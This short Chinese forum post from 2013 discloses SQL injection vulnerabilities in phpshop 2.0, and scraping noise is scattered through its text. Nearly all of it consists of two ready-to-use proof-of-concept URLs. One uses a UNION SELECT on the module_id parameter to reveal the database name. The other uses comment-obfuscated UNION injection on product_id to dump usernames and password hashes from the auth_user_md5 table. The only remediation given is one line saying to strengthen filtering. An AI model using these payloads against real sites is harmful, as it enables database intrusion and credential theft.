标题 : phpshop 2.0 SQL Injection Vulnerability$ m! a) _7 F z& u" D
* a1 |! Q/ I1 o5 V9 _: r6 Q! ]作者 : By onestree+ Z1 u8 ~2 L; Q4 U- m
下载地址 : http://code.google.com/p/phpshop/downloads/list
6 d' B) t t# V, Y( k% V8 \测试地址: windows 7 / ubuntu
5 a! M/ B# M! Z! D : P/ S" m* P% p' @
# M$ z: h6 K9 v8 v0 u) x
SQLi p0c:1 }$ e$ s7 |4 I' q8 P/ v- L; l& q
' U; `) E& ^! a) M2 d
==================: [$ f8 L0 K" _# M: a
7 z9 x" b3 |$ o7 l* J9 x' ihttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'; T/ Y, a$ ?: \4 Z/ O( Y% H$ @0 t
union select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --* b/ h, g" y6 s& m
x8 C9 C8 A4 I. o- e
http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--$ k! [- C* @7 h) j5 T# C2 F
) q& A. b1 A. e* y
修复： X6 z1 ~- V# R9 C3 C* |
加强过滤/ J. O6 h+ @% Q8 b; B4 A' Q8 J
- v- K4 Y1 ~3 t% e
+ m/ s6 \+ _! G8 S8 s |
发表于 2013-1-18 18:24:10
收藏
支持
反对